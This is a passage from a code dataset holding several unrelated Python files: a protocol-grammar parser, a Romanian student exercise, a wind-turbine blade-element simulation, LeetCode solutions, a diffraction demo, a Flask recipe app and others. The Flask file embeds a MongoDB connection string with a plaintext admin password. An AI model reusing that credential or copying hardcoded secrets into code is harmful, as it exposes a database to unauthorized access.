HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# SPDX-License-Identifier: BSD-2-Clause\n# =================================================================================================\n\nfrom input_parsers.inputparser import InputParser\nfrom typing import Dict, List, Tuple, Optional, Any\nimport parsley\nimport string\nfrom protocol import *\n\nclass PacketLangParser(InputParser):\n protocol: Protocol\n\n def __init__(self):\n self.protocol = Protocol()\n\n def new_bitstring(self, name: str = None, size: int = None) -> BitString:\n if name is None:\n name = \"BitString${}\".format(size)\n if self.protocol.is_type(name):\n return self.protocol.get_type(name)\n else:\n return self.protocol.define_bitstring(name, size)\n\n def new_derivedtype(self, type_name: str, derived_from: str, implements: List[str]):\n return NewTypeConstructor(type_name, derived_from, implements)\n\n def new_array(self, element_type, name:str = None, length:int = None):\n if type(element_type) == BitStringConstructor:\n self.pb.add_definition(element_type, warn_if_defined=False)\n element_type = element_type.name\n\n array_constructor = ArrayConstructor(element_type, name=name, length=length)\n return array_constructor\n\n def new_typedef(self, name, type:\"ProtocolType\"):\n self.protocol.derive_type(name, type, [])\n\n def new_struct(self, name, fields, constraints):\n constraints = [] if constraints == None else constraints\n struct = self.protocol.define_struct(name, fields, constraints, [])\n return struct\n \n def new_structfield(self, field_name: str, field_type, is_present: Expression = None, transform: Expression = None):\n if type(field_type) is str:\n field_type = self.protocol.get_type(field_type)\n return StructField(field_name, field_type, ConstantExpression(\"Boolean\", \"True\"), transform)\n\n def new_parameter(self, parameter_name: str, parameter_type: str):\n return Parameter(parameter_name, parameter_type)\n\n def new_argument(self, name: str, value: Any):\n return Argument(name, value)\n\n def new_func(self, func_name: str, parameters: List[Parameter], return_type: str):\n func_def = Function(func_name, parameters, return_type)\n self.pb.add_definition(func_def)\n\n def new_constant(self, type_name: str, value: Any):\n return ConstantExpression(self.protocol.get_type(type_name), value)\n\n def new_fieldaccess(self, target, field_name: str):\n return FieldAccessExpression(target, field_name)\n\n def new_this(self):\n return ThisExpression()\n\n def new_methodinvocation(self, target, method, arguments):\n arguments = [] if arguments == None else arguments\n return MethodInvocationExpression(target, method, arguments)\n\n def build_tree(self, start, pairs, expression_type):\n ops = {\"+\": (\"plus\", \"arith\"), \"-\": (\"minus\", \"arith\"), \"*\": (\"multiply\", \"arith\"), \"/\": (\"divide\", \"arith\"), \"%\": (\"modulo\", \"arith\"),\n \">=\": (\"ge\", \"ord\"), \">\": (\"gt\", \"ord\"), \"<\": (\"lt\", \"ord\"), \"<=\": (\"le\", \"ord\"),\n \"&&\": (\"and\", \"bool\"), \"||\": (\"or\", \"bool\"), \"!\": (\"not\", \"bool\"),\n \"==\": (\"eq\", \"equality\"), \"!=\": (\"ne\", \"equality\")}\n for pair in pairs:\n if expression_type == \"IfElse\":\n start = IfElseExpression(start, pair[1], pair[2])\n else:\n start = MethodInvocationExpression(pair[1], ops[pair[0]][0], [ArgumentExpression(\"other\", start)])\n return start\n\n def set_pdus(self, pdu_names):\n for pdu_name in pdu_names:\n self.protocol.define_pdu(pdu_name)\n\n def build_protocol(self, input_str: str, name: str = None) -> Protocol:\n self.protocol.set_protocol_name(name)\n \n # load grammar\n with open(\"input_parsers/packetlang/packetlang_grammar.txt\", \"r+\") as grammarFile:\n grammar = grammarFile.read()\n \n # create parser\n parser = parsley.makeGrammar(grammar, {\"ascii_letters\" : string.ascii_letters,\n \"ascii_uppercase\" : string.ascii_uppercase,\n \"ascii_lowercase\" : string.ascii_lowercase,\n \"new_bitstring\" : self.new_bitstring,\n \"new_typedef\" : self.new_typedef,\n \"new_array\" : self.new_array,\n \"new_structfield\" : self.new_structfield,\n \"new_struct\" : self.new_struct,\n \"new_parameter\" : self.new_parameter,\n \"new_func\" : self.new_func,\n \"new_constant\" : self.new_constant,\n \"new_fieldaccess\" : self.new_fieldaccess,\n \"new_this\" : self.new_this,\n \"new_methodinvocation\" : self.new_methodinvocation,\n \"build_tree\" : self.build_tree,\n \"set_pdus\" : self.set_pdus})\n \n # parse input\n parser(input_str.replace(\" \", \"\").replace(\"\\n\", \"\").replace(\"\\t\", \"\")).protocol()\n\n return self.protocol","sub_path":"src/input_parsers/packetlang/packetlang.py","file_name":"packetlang.py","file_ext":"py","file_size_in_byte":7076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"649056851","text":"'''\r\n\tSe cauta secventa de lungime maximă cu proprietatea:\r\n\t\t5. are toate elementele egale.\r\n\t\t6. sunt toate distincte intre ele\r\n'''\r\ndef citesteSir(lista):\r\n lista[:]=[]\r\n n = int(input(\"Dati numarul de elemente al sirului : \"))\r\n for i in range (n):\r\n x = int ( input(\"Dati elementul cu numarul {0} :\".format(i+1)))\r\n lista.append(x)\r\n\r\n\r\ndef estePrim(prim):\r\n '''\r\n Verificare daca un numar este prim\r\n input : prim : integer \r\n output : true daca numarul este prim , false in caz contrar\r\n '''\r\n \r\n if prim < 3 or prim % 2 == 0:\r\n if ( prim !=2 ):\r\n return False\r\n else:\r\n for divizor in range(3, prim // 2 + 1, 2):\r\n if(prim % divizor == 0):\r\n return False\r\n return True\r\n \r\n\r\ndef testPrim():\r\n '''\r\n Testam functia estePrim()\r\n '''\r\n assert estePrim(2)== True\r\n assert estePrim(3)== True\r\n assert estePrim(10)== False\r\n assert estePrim(1)== False\r\n assert estePrim(4)== False\r\n\r\ndef secvEgale(lista):\r\n '''\r\n Functie care determina cel mai mare indice , respectiv cel mai mic indice din secventa maxima de numere egale dintr-un sir\r\n input: lista pe care o sa operam\r\n output : o lista cu 2 elemente corespunzatoare celor 2 indici\r\n '''\r\n stanga = 0\r\n dreapta = 0\r\n \r\n for i in range (len(lista)):\r\n j = i + 1\r\n while j < len(lista) and lista[j] == lista[i]:\r\n j = j + 1\r\n if j - i >= dreapta - stanga + 1:\r\n stanga = i\r\n dreapta = j - 1\r\n\r\n lista_indici = []\r\n lista_indici.append(stanga + 1)\r\n lista_indici.append(dreapta + 1)\r\n\r\n return lista_indici\r\n\r\ndef testSecvEgale():\r\n '''\r\n Verificare functie secvEgale()\r\n '''\r\n assert secvEgale([2,2,2]) == [1,3]\r\n assert secvEgale([2,2,2,4,4,4,4]) == [4,7]\r\n assert secvEgale([1,2,3,4]) == [4,4]\r\n assert secvEgale([2]) == [1,1]\r\n assert secvEgale([1,2,3,3]) == [3,4]\r\n\r\ndef secvPrime(lista):\r\n '''\r\n Functie care determina cel mai mare indice , respectiv cel mai mic indice din secventa maxima de numere prime dintr-un sir\r\n input: lista pe care o sa operam\r\n output : o lista cu 2 elemente corespunzatoare celor 2 indici , daca exista . Daca nu gasim numere prime , returnam -1 si -1\r\n '''\r\n stanga = 0\r\n dreapta = 0\r\n j = 0\r\n lista_indici = []\r\n \r\n for i in range (len(lista)):\r\n if estePrim(lista[i]):\r\n j = i + 1\r\n while j < len(lista) and estePrim(lista[j]):\r\n j = j + 1\r\n if j - i >= dreapta - stanga + 1:\r\n stanga = i\r\n dreapta = j - 1\r\n\r\n## daca nu gasim elemente prime in sir , returnam -1 si -1\r\n \r\n if j == 0 :\r\n lista_indici.append(-1)\r\n lista_indici.append(-1)\r\n else: \r\n lista_indici.append(stanga + 1)\r\n lista_indici.append(dreapta + 1)\r\n\r\n return lista_indici\r\n\r\ndef testSecvPrime():\r\n '''\r\n Verificare functie secvPrime()\r\n '''\r\n assert secvPrime([1,2,3,4,5]) == [2,3]\r\n assert secvPrime([1,2,2,2,3]) == [2,5]\r\n assert secvPrime([13,13,13,13]) == [1,4]\r\n assert secvPrime([4,4]) == [-1,-1]\r\n assert secvPrime([1,1,1,5]) == [4,4]\r\n assert secvPrime([1,2,4,4]) == [2,2]\r\n \r\n \r\ndef printListPrime (lista):\r\n '''\r\n Functie care afiseaza indicii secventei de numere prime , sau un mesaj daca lista e vida\r\n input: lista de numere intregi \r\n output: un mesaj , daca lista e vida , sau indicii corespunzatori , daca lista e nevida\r\n '''\r\n \r\n if len(lista) < 1:\r\n print (\"Trebuie sa citesti sirul mai intai\")\r\n else:\r\n lista_indici = []\r\n lista_indici = secvPrime(lista)\r\n print (\"Secventa maxima de numere prime se afla intre pozitiile {0} si {1}\".format(lista_indici[0],lista_indici[1]))\r\n\r\n\r\ndef printListEgale (lista):\r\n '''\r\n Functie care afiseaza indicii secventei de numere prime , sau un mesaj daca lista e vida\r\n input : lista de numere intregi\r\n output : un mesaj , daca lista e vida , sau indicii corespunzatori , daca lista e nevida\r\n '''\r\n if len(lista) < 1:\r\n print (\"Trebuie sa citesti sirul mai intai\")\r\n else:\r\n lista_indici = []\r\n lista_indici = secvEgale(lista)\r\n print (\"Secventa maxima de numere egale se afla intre pozitiile {0} si {1}\".format(lista_indici[0],lista_indici[1]))\r\n\r\n\r\ndef showOptions():\r\n print(\"1.Citeste o lista de numere intregi\")\r\n print(\"2.Gasirea secventei de lungime maxima care contine doar numere prime\")\r\n print(\"3.Gasirea secventei de lungime maxima care contine doar numere egale \")\r\n print(\"4.Exit\")\r\n\r\n\r\ndef showMainMenu(lista):\r\n '''\r\n Functia pentru meniul principal\r\n '''\r\n optiuni = {\r\n \"1\": citesteSir,\r\n \"2\": printListPrime,\r\n \"3\": printListEgale,\r\n }\r\n\r\n while True:\r\n showOptions()\r\n option = input(\"Optiunea aleasa : \")\r\n if option == \"4\":\r\n break\r\n elif option not in optiuni:\r\n print(\"Optiune invalida , va rugam sa introduceti alta valoare\")\r\n else:\r\n optiuni[option](lista)\r\n print()\r\n\r\ndef main():\r\n '''\r\n Functia principala\r\n '''\r\n \r\n lista=[]\r\n testSecvPrime()\r\n testSecvEgale()\r\n showMainMenu(lista)\r\n \r\n## executie program principal\r\n\r\nmain()\r\n","sub_path":"aplicatielab3.py","file_name":"aplicatielab3.py","file_ext":"py","file_size_in_byte":5114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"373709363","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 12 17:03:35 2019\n\n@author: dreth\n\"\"\"\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom scipy.interpolate import interp2d\n\n\n#%%Parameters\nR = 89.17\nA = np.pi*R**2\nrho = 1.225\nV0 = np.array([4,8,11,18,25])\nV0_rated = 11.19\nomega_rated = 1.004\nB = 3\n\n# Export figures as pdf\nsaveFig = 1\n\n#%% Reference wind turbine blade description\nr = np.zeros([18])\nr[:] = np.array([2.80, 11.00, 16.87, 22.96, 32.31, 41.57, 50.41, \n 58.53, 65.75, 71.97, 77.19, 78.71, 80.14, 82.71, \n 84.93, 86.83, 88.45, 89.17-(0.2)])\nr_int = np.append(r[:],R) #For tip integration\nc = np.array([5.38, 5.45, 5.87, 6.18, 6.02, 5.42, 4.70, 4.00, 3.40, \n 2.91, 2.54, 2.43, 2.33, 2.13, 1.90, 1.63, 1.18, 0.60])\nbeta = np.deg2rad(np.array([14.50, 14.43, 12.55, 8.89, 6.38, 4.67, \n 2.89, 1.21, -0.13, -1.11, -1.86, -2.08, \n -2.28, -2.64, -2.95, -3.18, -3.36, \n -3.43]))\nratio = np.array([100.00, 86.05, 61.10, 43.04, 32.42, 27.81,\n 25.32, 24.26, 24.10, 24.10, 24.10, 24.10, 24.10,\n 24.10, 24.10, 24.10, 24.10, 24.10])\n\n#Import of data\nairFoilThickness = np.array([24.1, 30.1, 36.0, 48.0, 60.0, 100])\nsuffixData = np.array(['FFA-W3-241.txt', 'FFA-W3-301.txt', \n 'FFA-W3-360.txt', 'FFA-W3-480.txt', \n 'FFA-W3-600.txt', 'cylinder.txt'])\nsizeTest = np.genfromtxt('FFA-W3-241.txt',\n dtype=None,\n delimiter=None)\nFFAdata = np.zeros((len(sizeTest),len(sizeTest[0]),len(suffixData)), \n dtype='float64')\nfor i in range(0,len(suffixData)):\n name = suffixData[i]\n FFAdata[:,:,i] = np.loadtxt(name,\n dtype=None,\n delimiter=None)\n\ndel sizeTest\ndel name\n\n#Interpolation of data\nintCl = interp2d(airFoilThickness,FFAdata[:,0,0],FFAdata[:,1,:], \n kind='linear') # Thickness, angle OUTPUT: Is in array\nintCd = interp2d(airFoilThickness,FFAdata[:,0,0],FFAdata[:,2,:], \n kind='linear') # Thickness, angle\nintCm = interp2d(airFoilThickness,FFAdata[:,0,0],FFAdata[:,3,:], \n kind='linear')\n\n#%%Initialize variables\na_crit = 1/3\nPn = np.zeros([len(r)+1])\nPt = np.copy(Pn)\ntol = 1E-5\nPowerList = np.zeros([2,len(V0)])\nthetaList = np.copy(PowerList); ThrustList = np.copy(PowerList)\nCPList = np.copy(PowerList); CTList = np.copy(PowerList)\nEdgeWise_Moment = np.copy(PowerList)\nFlapWise_Moment = np.copy(PowerList)\n\"\"\"BEGIN WIND SPEED LOOP\"\"\"\nfor j in range(len(V0)):\n if V0[j] < V0_rated:\n omega = 8*V0[j]/R\n theta_p = np.array([0])\n else:\n omega = omega_rated\n theta_p = np.deg2rad(np.linspace(-15,25,1500))\n \"\"\"BEGIN PITCH LOOP\"\"\"\n for k in range(len(theta_p)): \n \"\"\"BEGIN BEM LOOP\"\"\"\n for i in range(len(r)):\n a = 0; a_prime = 0;\n count = 0\n \n while True:\n count +=1\n phi = np.arctan(((1-a)*V0[j])/((1+a_prime)*omega*r[i]))\n alpha = phi-(beta[i]+theta_p[k])\n #Table lookup for Cl, Cd\n Cl = intCl(ratio[i],np.rad2deg(alpha))\n Cd = intCd(ratio[i],np.rad2deg(alpha))\n Cn = Cl*np.cos(phi) + Cd*np.sin(phi)\n Ct = Cl*np.sin(phi) - Cd*np.cos(phi)\n #Prandt's Tip Loss\n F = 2/np.pi*np.arccos(np.exp((-B/2)*(R-r[i])/(r[i]*np.sin(abs(phi)))))\n \n sigma = c[i]*B/(2*np.pi*r[i]) #Solidity\n #Glauert Correction\n if a <= a_crit:\n anew = 1/(4*F*(np.sin(phi)**2)/(sigma*Cn)+1)\n else:\n CT_glauert = (1-a)**2*Cn*sigma/np.sin(phi)**2\n astar = CT_glauert/(4*F*(1-0.25*(5-3*a)*a))\n anew = 0.1*astar+0.9*a\n a_prime = 1/(4*F*(np.sin(phi)*np.cos(phi))/(sigma*Ct)-1)\n if abs(anew-a) <= tol:\n a = anew\n break\n elif count == 200:\n print('count > 200')\n break\n else:\n a = anew\n #print('Count = ' + str(count))\n Vrel = V0[j]*(1-a)/np.sin(phi)\n Fl = 1/2*rho*Vrel**2*c[i]*Cl\n Fd = 1/2*rho*Vrel**2*c[i]*Cd\n Pn[i] = Fl*np.cos(phi)+Fd*np.sin(phi)\n Pt[i] = Fl*np.sin(phi)-Fd*np.cos(phi)\n \"\"\"END BEM LOOP\"\"\"\n \n #Power, Thrust and coefficients\n Power = omega*B*np.trapz(Pt*r_int, r_int) #Rotor mechanical power\n Thrust = B*np.trapz(Pn,r_int) #Rotor thrust\n if (abs(Power-10**7) < 0.5*10**5 and V0[j] > V0_rated):\n if theta_p[k] < 0:\n PowerList[0,j] = Power\n thetaList[0,j] = theta_p[k]\n ThrustList[0,j] = Thrust\n CPList[0,j] = Power/(0.5*rho*V0[j]**3*A)\n CTList[0,j] = Thrust/(0.5*rho*V0[j]**2*A)\n print('Power value for negative pitch added at index:', j)\n EdgeWise_Moment[0,j] = np.trapz(Pt*(r_int-2.8), (r_int-2.8))/10**6\n FlapWise_Moment[0,j] = np.trapz(Pn*(r_int-2.8), (r_int-2.8))/10**6\n elif theta_p[k] > 0:\n PowerList[1,j] = Power\n thetaList[1,j] = theta_p[k]\n ThrustList[1,j] = Thrust\n CPList[1,j] = Power/(0.5*rho*V0[j]**3*A)\n CTList[1,j] = Thrust/(0.5*rho*V0[j]**2*A)\n print('Power value for positive pitch added at index:', j)\n EdgeWise_Moment[1,j] = np.trapz(Pt*(r_int-2.8), (r_int-2.8))/10**6\n FlapWise_Moment[1,j] = np.trapz(Pn*(r_int-2.8), (r_int-2.8))/10**6\n elif V0[j] < V0_rated:\n PowerList[0,j] = Power\n PowerList[1,j] = Power\n thetaList[0,j] = theta_p[k]\n ThrustList[0,j] = Thrust\n ThrustList[1,j] = Thrust\n CPList[0,j] = Power/(0.5*rho*V0[j]**3*A) \n CTList[0,j] = Thrust/(0.5*rho*V0[j]**2*A)\n CPList[1,j] = Power/(0.5*rho*V0[j]**3*A) \n CTList[1,j] = Thrust/(0.5*rho*V0[j]**2*A)\n EdgeWise_Moment[0,j] = np.trapz(Pt*(r_int-2.8), (r_int-2.8))/10**6\n FlapWise_Moment[0,j] = np.trapz(Pn*(r_int-2.8), (r_int-2.8))/10**6\n EdgeWise_Moment[1,j] = np.trapz(Pt*(r_int-2.8), (r_int-2.8))/10**6\n FlapWise_Moment[1,j] = np.trapz(Pn*(r_int-2.8), (r_int-2.8))/10**6\n \"\"\"END PITCH LOOP\"\"\"\n\n\"\"\"END WIND SPEED LOOP\"\"\"\n\n\nplt.figure('Tangential force',figsize=(5,4))\nplt.plot(r_int, Pt, 'xkcd:amber',\n label = 'Tangential force distribution')\nplt.grid(c='k', alpha=.3)\nplt.xlabel('Radius [m]', fontsize=14)\nplt.ylabel('Pt [N]', fontsize=14)\nplt.tick_params(labelsize=12)\nplt.legend(fontsize = 12)\n#if saveFig:\n# plt.savefig('TangentialForce.pdf',bbox_inches='tight')\n #%% \nplt.figure('Thrust force',figsize=(5,4))\nplt.plot(r_int, Pn, 'xkcd:amber',\n label = 'Thrust force distribution')\nplt.grid(c='k', alpha=.3)\nplt.xlabel('Radius [m]', fontsize=14)\nplt.ylabel('Pn [N]', fontsize=14)\nplt.tick_params(labelsize=12)\nplt.legend(fontsize = 12)\n#if saveFig:\n# plt.savefig('ThrustForce.pdf',bbox_inches='tight')\n#%%\nplt.figure('Pitch angle',figsize=(5,4))\nplt.plot(V0, np.rad2deg(thetaList[0,:]),'-x',color = 'blue',\n label = r'$\\theta_p$ < 0')\nplt.plot(V0, np.rad2deg(thetaList[1,:]),'-+',color = 'red',\n label = r'$\\theta_p$ > 0')\nplt.grid(c='k', alpha=.3)\nplt.xlabel('Wind Speed [m/s]', fontsize=14)\nplt.ylabel('Pitch angle [$\\degree$]', fontsize=14)\nplt.tick_params(labelsize=12)\nplt.legend(fontsize = 12)\n#if saveFig:\n# plt.savefig('PitchAngle_vs_WindSpeed.pdf',bbox_inches='tight')\n\nplt.figure('Thrust Vs Wind speed',figsize=(5,4))\nplt.plot(V0, ThrustList[0,:]/1000, '-x',color = 'blue',\n label = r'$\\theta_p$ < 0')\nplt.plot(V0, ThrustList[1,:]/1000, '-+',color = 'red',\n label = r'$\\theta_p$ > 0')\nplt.grid(c='k', alpha=.3)\nplt.xlabel('Wind Speed [m/s]', fontsize=14)\nplt.ylabel('Thrust [kN]', fontsize=14)\nplt.tick_params(labelsize=12)\nplt.legend(fontsize = 12)\n#if saveFig:\n# plt.savefig('Thrust_vs_WindSpeed.pdf',bbox_inches='tight')\n \nplt.figure('Power Vs Wind speed',figsize=(5,4))\nplt.plot(V0, PowerList[0,:]*1e-6, '-x',color = 'blue',\n label = r'$\\theta_p$ < 0')\nplt.plot(V0, PowerList[1,:]*1e-6, '-+',color = 'red',\n label = r'$\\theta_p$ > 0')\nplt.grid(c='k', alpha=.3)\nplt.xlabel('Wind Speed [m/s]', fontsize=14)\nplt.ylabel('Power [MW]', fontsize=14)\nplt.tick_params(labelsize=12)\nplt.legend(fontsize = 12)\n#if saveFig:\n# plt.savefig('Power_vs_WindSpeed.pdf',bbox_inches='tight')\n\nplt.figure('CT Vs Wind speed',figsize=(5,4))\nplt.plot(V0, CTList[0,:], '-x',color = 'blue',\n label = r'$\\theta_p$ < 0')\nplt.plot(V0, CTList[1,:], '-+',color = 'red',\n label = r'$\\theta_p$ > 0')\nplt.grid(c='k', alpha=.3)\nplt.xlabel('Wind Speed [m/s]', fontsize=14)\nplt.ylabel('$C_T$ [-]', fontsize=14)\nplt.tick_params(labelsize=12)\nplt.legend(fontsize = 12)\n#if saveFig:\n# plt.savefig('CT_vs_WindSpeed.pdf',bbox_inches='tight')\n\nplt.figure('CP Vs Wind speed',figsize=(5,4))\nplt.plot(V0, CPList[0,:], '-x',color = 'blue',\n label = r'$\\theta_p$ < 0')\nplt.plot(V0, CPList[1,:], '-+',color = 'red',\n label = r'$\\theta_p$ > 0')\nplt.grid(c='k', alpha=.3)\nplt.xlabel('Wind Speed [m/s]', fontsize=14)\nplt.ylabel('$C_P$ [-]', fontsize=14)\nplt.tick_params(labelsize=12)\nplt.legend(fontsize = 12)\n#if saveFig:\n# plt.savefig('CP_vs_WindSpeed.pdf',bbox_inches='tight') \n\nplt.figure('Edgewise Bending Moment Vs Wind speed',figsize=(5,4))\nplt.plot(V0, EdgeWise_Moment[0,:], '-x',color = 'blue',\n label = r'$\\theta_p$ < 0')\nplt.plot(V0, EdgeWise_Moment[1,:], '-+',color = 'red',\n label = r'$\\theta_p$ > 0')\nplt.grid(c='k', alpha=.3)\nplt.xlabel('Wind Speed [m/s]', fontsize=14)\nplt.ylabel('Edgewise Root Moment [MNm]', fontsize=14)\nplt.tick_params(labelsize=12)\nplt.legend(fontsize = 12)\nif saveFig:\n plt.savefig('Edgewise_vs_WindSpeed.pdf',bbox_inches='tight')\n\nplt.figure('Flapwise Bending Moment Vs Wind speed',figsize=(5,4))\nplt.plot(V0, FlapWise_Moment[0,:], '-x',color = 'blue',\n label = r'$\\theta_p$ < 0')\nplt.plot(V0, FlapWise_Moment[1,:], '-+',color = 'red',\n label = r'$\\theta_p$ > 0')\nplt.grid(c='k', alpha=.3)\nplt.xlabel('Wind Speed [m/s]', fontsize=14)\nplt.ylabel('Flapwise Root Moment [MNm]', fontsize=14)\nplt.tick_params(labelsize=12)\nplt.legend(fontsize = 12)\nif saveFig:\n plt.savefig('Flapwise_vs_WindSpeed.pdf',bbox_inches='tight') \n\n","sub_path":"Question4.py","file_name":"Question4.py","file_ext":"py","file_size_in_byte":10739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"35508399","text":"from collections import Counter\n\n\n# Counter is similar to a frequency table\nclass Solution:\n def leastInterval(self, tasks: list, n: int) -> int:\n if n == 0:\n # no requirement for cooling, just do those jobs in original order\n return len(tasks)\n\n # key: task, value: occurrence of tasks\n task_occ_dict = Counter(tasks)\n\n # max occurrence among tasks\n max_occurrence = max(task_occ_dict.values())\n number_of_tasks_of_max_occ = sum(\n (1 for task, occ in task_occ_dict.items()\n if occ == max_occurrence))\n\n # Make (max_occ-1) groups, each groups size is (n+1) to meet the requirement of cooling\n # Fill each group with uniform iteration leaving as even as possible\n # At last, execute for the last time of max_occ jobs\n interval_for_schedule = (max_occurrence -\n 1) * (n + 1) + number_of_tasks_of_max_occ\n\n # Minimal length is original length on best case.\n # Otherswise, it need some idle time intervals\n return max(len(tasks), interval_for_schedule)\n","sub_path":"Leetcode/TaskScheduler/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"652610978","text":"# Time Complexity : O(N) (Where N is length of numbers)\n# Space Complexity : O(1) \n# Did this code successfully run on Leetcode : Yes\n# Three line explanation of solution in plain english:\n# - Shifting by k is similer to reversing the number and than again reversing first k numbers and reversing remaining numbers.\nclass Solution:\n def rotate(self, nums: List[int], k: int) -> None:\n \"\"\"\n Do not return anything, modify nums in-place instead.\n \"\"\"\n ln = len(nums)\n# Converting k into range of ln.\n k = k % ln\n# Reversing whole number list\n self.reverse(nums, 0, ln - 1)\n# Reversing first k numbers\n self.reverse(nums, 0, k - 1)\n# Reversing remaining numbers\n self.reverse(nums, k, ln - 1)\n \n# Function to reverse the numbers in place\n def reverse(self, nums, start, end):\n while start < end :\n nums[start], nums[end] = nums[end], nums[start]\n start += 1\n end -= 1\n","sub_path":"Problem3.py","file_name":"Problem3.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"521501680","text":"import diffractsim\ndiffractsim.set_backend(\"CPU\") #Change the string to \"CUDA\" to use GPU acceleration\n\nfrom diffractsim import MonochromaticField, mm, nm, cm\n\nF = MonochromaticField(\n wavelength=632.8 * nm, extent_x=5.6 * mm, extent_y=5.6 * mm, Nx=500, Ny=500\n)\n\nF.add_aperture_from_image(\n \"./apertures/hexagon.jpg\", pad=(10 * mm, 10 * mm), Nx=1400, Ny=1400\n)\n\nrgb = F.compute_colors_at(80*cm)\nF.plot(rgb, xlim=[-7, 7], ylim=[-7, 7])\n","sub_path":"examples/hexagon_monochromatic.py","file_name":"hexagon_monochromatic.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"178667520","text":"'''\nonce model trained make tarballs containing weights \nand dictonaries and embeddings for sharing.\nReads config from config.json\n'''\nimport os, argparse, json\nimport tarfile\n\ndef _init_parser():\n parser = argparse.ArgumentParser(\n description=\"Create tar file containing weight and another containing dictionaries and embeddings.\"\n )\n parser.add_argument(\"-r\", \"--reverse\", action=\"store_true\", \n help=\"swap translation order of languages in config file.\")\n args = parser.parse_args()\n return args\n\ndef main():\n with open('config.json') as json_data_file:\n data = json.load(json_data_file)\n langs = data[\"languages\"]\n args = _init_parser()\n work_dir = data[\"work_dir\"]\n if args.reverse:\n langs.reverse()\n print(\"Configured for {} --> {}\".format(langs[0], langs[1]))\n tarballs_dir = \"tarballs\"\n if not os.path.exists(tarballs_dir):\n os.makedirs(tarballs_dir)\n dct_emb_fn = \"{}-{}-dct-embeddings.tar.gz\".format(langs[0], langs[1])\n weights_fn = \"{}-{}-weights.tar.gz\".format(langs[0], langs[1])\n with tarfile.open(os.path.join(tarballs_dir, dct_emb_fn), \"w:gz\") as tar:\n for fn in os.listdir(work_dir):\n if \"embeddings\" in fn or \"dictionary\" in fn:\n tar.add(os.path.join(work_dir, fn))\n weights_dir = \"weights/{}-{}\".format(langs[0], langs[1])\n with tarfile.open(os.path.join(tarballs_dir, weights_fn), \"w:gz\") as tar:\n for fn in os.listdir(weights_dir):\n tar.add(os.path.join(weights_dir, fn))\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"make_tars.py","file_name":"make_tars.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"137936210","text":"# -*- coding: utf-8 -*-\n# Copyright 2019 Green Valley Belgium NV\n# NOTICE: THIS FILE HAS BEEN MODIFIED BY GREEN VALLEY BELGIUM NV IN ACCORDANCE WITH THE APACHE LICENSE VERSION 2.0\n# Copyright 2018 GIG Technology NV\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# @@license_version:1.6@@\n\nfrom google.appengine.ext import db\nfrom rogerthat.bizz.job import run_job\nfrom rogerthat.models import FriendMap\nfrom rogerthat.rpc import users\n\n\ndef job():\n run_job(_qry, [], _worker, [])\n\n\ndef _qry():\n return FriendMap.all(keys_only=True)\n\n\ndef _worker(friend_map_key):\n def trans():\n updated = False\n friend_map = db.get(friend_map_key)\n for email in friend_map.friendDetails._table:\n user = users.User(email)\n if user not in friend_map.friends:\n friend_map.friends.append(user)\n updated = True\n if updated:\n friend_map.put()\n\n db.run_in_transaction(trans)\n","sub_path":"src/rogerthat/models/migration/fix_friendsmap.py","file_name":"fix_friendsmap.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"25540439","text":"from flask import Flask, request\nfrom flask_pymongo import PyMongo, pymongo\nimport csv\n\napp = Flask(__name__)\napp.config[\"MONGO_DBNAME\"] = 'pat_doc_recipedb'\napp.config[\"MONGO_URI\"] = 'mongodb://admin:1Pfhr39Hdi4@ds119060.mlab.com:19060/pat_doc_recipedb'\nmongo = PyMongo(app)\n#Class for a new recipe when inserting into mongodb.\nclass Recipe(object):\n upvotes = 0\n def __init__(self, username, recipe_name, author, prep_time, cook_time, servings, recipe_description, cuisine_name, ingredients, method, allergens, country):\n self.username = username\n self.recipe_name = recipe_name\n self.author = author\n self.prep_time = prep_time\n self.cook_time = cook_time\n self.servings = servings\n self.recipe_description = recipe_description\n self.cuisine_name = cuisine_name\n self.ingredients = ingredients\n self.method = method\n self.allergens = allergens\n self.country = country\n\n#Class for a new user when inserting into mongodb. (Currently unused) \nclass User(object):\n def __init__(self, username, country):\n self.username = username\n self.country = country\n\n#Class for a new cuisine when inserting into mongodb\nclass Cuisine(object):\n def __init__(self, cuisine_name, cuisine_description):\n self.cuisine_name = cuisine_name\n self.cuisine_description = cuisine_description\n\n#Class for a new allergen when inserting into mongodb \nclass Allergen(object):\n def __init__(self, allergen_name, allergen_description):\n self.allergen_name = allergen_name\n self.allergen_description = allergen_description\n\n#Class for a new country when inserting into mongodb \nclass Country(object):\n def __init__(self, country_name):\n self.country_name = country_name\n\n#This function is used to find what page number the user is currently on in order to help paginate list of results. \ndef get_page():\n return request.args.get('page', 1, type=int)\n\n#This function will take the query, page number the user is currently on and the \n#number of results wanted per page and slice the list of query results 